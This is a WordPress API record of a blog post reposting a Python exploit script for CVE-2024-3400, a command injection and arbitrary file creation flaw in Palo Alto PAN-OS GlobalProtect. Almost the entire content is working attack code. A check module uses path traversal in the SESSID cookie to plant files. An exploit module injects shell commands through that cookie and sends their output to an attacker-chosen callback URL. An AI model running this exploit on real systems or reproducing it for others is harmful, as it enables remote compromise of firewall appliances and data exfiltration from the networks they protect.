{"id":56406,"date":"2024-04-23T21:40:01","date_gmt":"2024-04-23T17:40:01","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178216\/paloaltopanos-filecreateexec.txt"},"modified":"2024-04-23T21:40:01","modified_gmt":"2024-04-23T17:40:01","slug":"palo-alto-pan-os-command-execution-arbitrary-file-creation","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/palo-alto-pan-os-command-execution-arbitrary-file-creation\/","title":{"rendered":"Palo Alto PAN-OS Command Execution \/ Arbitrary File Creation"},"content":{"rendered":"<p># Exploit Title: Palo Alto PAN-OS &lt; v11.1.2-h3 &#8211; Command Injection and Arbitrary File Creation<br \/># Date: 21 Apr 2024<br \/># Exploit Author: Kr0ff<br \/># Vendor Homepage: https:\/\/security.paloaltonetworks.com\/CVE-2024-3400<br \/># Software Link: &#8211;<br \/># Version: PAN-OS 11.1 &lt; 11.1.0-h3, &lt; 11.1.1-h1, &lt; 11.1.2-h3 <br \/># PAN-OS 11.0 &lt; 11.0.0-h3, &lt; 11.0.1-h4, &lt; 11.0.2-h4, &lt; 11.0.3-h10, &lt; 11.0.4-h1<br \/># PAN-OS 10.2 &lt; 10.2.0-h3, &lt; 10.2.1-h2, &lt; 10.2.2-h5, &lt; 10.2.3-h13, &lt; 10.2.4-h16, &lt; 10.2.5-h6, &lt; 10.2.6-h3, &lt; 10.2.7-h8, &lt; 10.2.8-h3, &lt; 10.2.9-h1<br \/># Tested on: Debian<br \/># CVE : CVE-2024-3400<\/p>\n<p>#!\/usr\/bin\/env python3<\/p>\n<p>import sys<\/p>\n<p>try:<br \/>import argparse<br \/>import requests<br \/>except ImportError:<br \/>print(&#8220;Missing dependencies, either requests or argparse not installed&#8221;)<br \/>sys.exit(2)<\/p>\n<p># https:\/\/attackerkb.com\/topics\/SSTk336Tmf\/cve-2024-3400\/rapid7-analysis <br \/># https:\/\/labs.watchtowr.com\/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400\/<\/p>\n<p>def check_vuln(target: str, file: str) -&gt; bool:<br \/>ret = False<\/p>\n<p>uri = &#8220;\/ssl-vpn\/hipreport.esp&#8221;<\/p>\n<p>s = requests.Session()<br \/>r = &#8220;&#8221;<\/p>\n<p>headers = {<br \/>&#8220;User-Agent&#8221; : \\<br \/>&#8220;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/118.0.0.0 Safari\/537.36&#8221;, # Windows 10 Chrome 118.0.0.0<br \/>&#8220;Content-Type&#8221;: &#8220;application\/x-www-form-urlencoded&#8221;,<br \/>&#8220;Cookie&#8221;: \\<br \/>f&#8221;SESSID=..\/..\/..\/var\/appweb\/sslvpndocs\/global-protect\/portal\/images\/{file}&#8221;<br \/>} <\/p>\n<p>headers_noCookie = {<br \/>&#8220;User-Agent&#8221; : \\<br \/>&#8220;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/118.0.0.0 Safari\/537.36&#8221; # Windows 10 Chrome 118.0.0.0<br \/>}<\/p>\n<p>if not &#8220;http:\/\/&#8221; or not &#8220;https:\/\/&#8221; in target:<br \/>target = &#8220;http:\/\/&#8221; + target <br \/>try:<br \/>r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )<br \/>except requests.exceptions.Timeout or requests.ConnectionError as e:<br \/>print(f&#8221;Request timed out for \\&#8221;HTTP\\&#8221; !{e}&#8221;)<\/p>\n<p>print(&#8220;Trying with \\&#8221;HTTPS\\&#8221;&#8230;&#8221;)<\/p>\n<p>target = &#8220;https:\/\/&#8221; + target<br \/>try:<br \/>r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )<br \/>except requests.exceptions.Timeout or requests.ConnectionError as e:<br \/>print(f&#8221;Request timed out for \\&#8221;HTTPS\\&#8221;&#8221;)<br \/>sys.exit(1)<br \/>else:<br \/>r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )<\/p>\n<p>if r.status_code == 200:<br \/>r = s.get( (target + f&#8221;\/global-protect\/portal\/images\/{file}&#8221;), verify=False, headers=headers_noCookie, timeout=10 )<br \/>if r.status_code == 403:<br \/>print(&#8220;Target vulnerable to CVE-2024-3400&#8221;)<br \/>ret = True<br \/>else:<br \/>return ret<\/p>\n<p>return ret<\/p>\n<p>def cmdexec(target: str, callback_url: str, payload: str) -&gt; bool:<br \/>ret = False<br \/>p = &#8220;&#8221;<\/p>\n<p>if &#8221; &#8221; in payload:<br \/>p = payload.replace(&#8221; &#8220;, &#8220;${IFS)&#8221;)<\/p>\n<p>uri = &#8220;\/ssl-vpn\/hipreport.esp&#8221;<\/p>\n<p>headers = {<br \/>&#8220;User-Agent&#8221; : \\<br \/>&#8220;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/118.0.0.0 Safari\/537.36&#8221;, # Windows 10 Chrome 118.0.0.0<br \/>&#8220;Content-Type&#8221;: &#8220;application\/x-www-form-urlencoded&#8221;,<br \/>&#8220;Cookie&#8221;: \\<br \/>f&#8221;SESSID=..\/..\/..\/..\/opt\/panlogs\/tmp\/device_telemetry\/minute\/attack782`{callback_url}?r=$({payload})`&#8221;<\/p>\n<p>} <\/p>\n<p>s = requests.Session()<br \/>r = &#8220;&#8221;<\/p>\n<p>if not &#8220;http:\/\/&#8221; or not &#8220;https:\/\/&#8221; in target:<br \/>target = &#8220;http:\/\/&#8221; + target <br \/>try:<br \/>r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )<br \/>except requests.exceptions.Timeout or requests.ConnectionError as e:<br \/>print(f&#8221;Request timed out for \\&#8221;HTTP\\&#8221; !{e}&#8221;)<\/p>\n<p>print(&#8220;Trying with \\&#8221;HTTPS\\&#8221;&#8230;&#8221;)<\/p>\n<p>target = &#8220;https:\/\/&#8221; + target<br \/>try:<br \/>r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )<br \/>except requests.exceptions.Timeout or requests.ConnectionError as e:<br \/>print(f&#8221;Request timed out for \\&#8221;HTTPS\\&#8221;&#8221;)<br \/>sys.exit(1)<br \/>else:<br \/>r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )<\/p>\n<p>if not &#8220;Success&#8221; in r.text:<br \/>return ret<\/p>\n<p>else:<br \/>ret = True<\/p>\n<p>return ret<\/p>\n<p>#Initilize parser for arguments<br \/>def argparser(selection=None):<br \/>parser = argparse.ArgumentParser( description=&#8217;CVE-2024-3400 &#8211; Palo Alto OS Command Injection&#8217; )<\/p>\n<p>subparser = parser.add_subparsers( help=&#8221;Available modules&#8221;, dest=&#8221;module&#8221;)<\/p>\n<p>exploit_subp = subparser.add_parser( &#8220;exploit&#8221;, help=&#8221;Exploit module of script&#8221;)<br \/>exploit_subp.add_argument( &#8220;-t&#8221;, &#8220;&#8211;target&#8221;,help=&#8221;Target to send payload to&#8221;, required=True )<br \/>exploit_subp.add_argument( &#8220;-p&#8221;, &#8220;&#8211;payload&#8221;, help=&#8221;Payload to send (e.g: whoami)&#8221;, required=True )<br \/>exploit_subp.add_argument( &#8220;-c&#8221;, &#8220;&#8211;callbackurl&#8221;, help=&#8221;The callback url such as burp collaborator or similar&#8221;, required=True )<br \/>#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>check_subp = subparser.add_parser( &#8220;check&#8221;, help=&#8221;Vulnerability check module of script&#8221; )<br \/>check_subp.add_argument( &#8220;-t&#8221;, &#8220;&#8211;target&#8221;, help=&#8221;Target to check if vulnerable&#8221;, required=True )<br \/>check_subp.add_argument( &#8220;-f&#8221;, &#8220;&#8211;filename&#8221;, help=&#8221;Filename of the payload (e.g \\&#8221;exploitCheck.exp\\&#8221;&#8221;, required=True )<\/p>\n<p>args = parser.parse_args(selection)<br \/>args = parser.parse_args(args=None if sys.argv[1:] else [&#8220;-h&#8221;])<\/p>\n<p>if args.module == &#8220;exploit&#8221;: <br \/>cmdexec(args.target, args.callbackurl, args.payload)<\/p>\n<p>if args.module == &#8220;check&#8221;:<br \/>check_vuln(args.target, args.filename)<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>argparser()<br \/>print(&#8220;Finished !&#8221;)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Palo Alto PAN-OS &lt; v11.1.2-h3 &#8211; Command Injection and Arbitrary File Creation# Date: 21 Apr 2024# Exploit Author: Kr0ff# Vendor Homepage: https:\/\/security.paloaltonetworks.com\/CVE-2024-3400# Software Link: &#8211;# Version: PAN-OS 11.1 &lt; 11.1.0-h3, &lt; 11.1.1-h1, &lt; 11.1.2-h3 # PAN-OS 11.0 &lt; 11.0.0-h3, &lt; 11.0.1-h4, &lt; 11.0.2-h4, &lt; 11.0.3-h10, &lt; 11.0.4-h1# PAN-OS 10.2 &lt; 10.2.0-h3, &lt; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56406","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56406","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56406"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56406\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56406"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56406"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56406"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}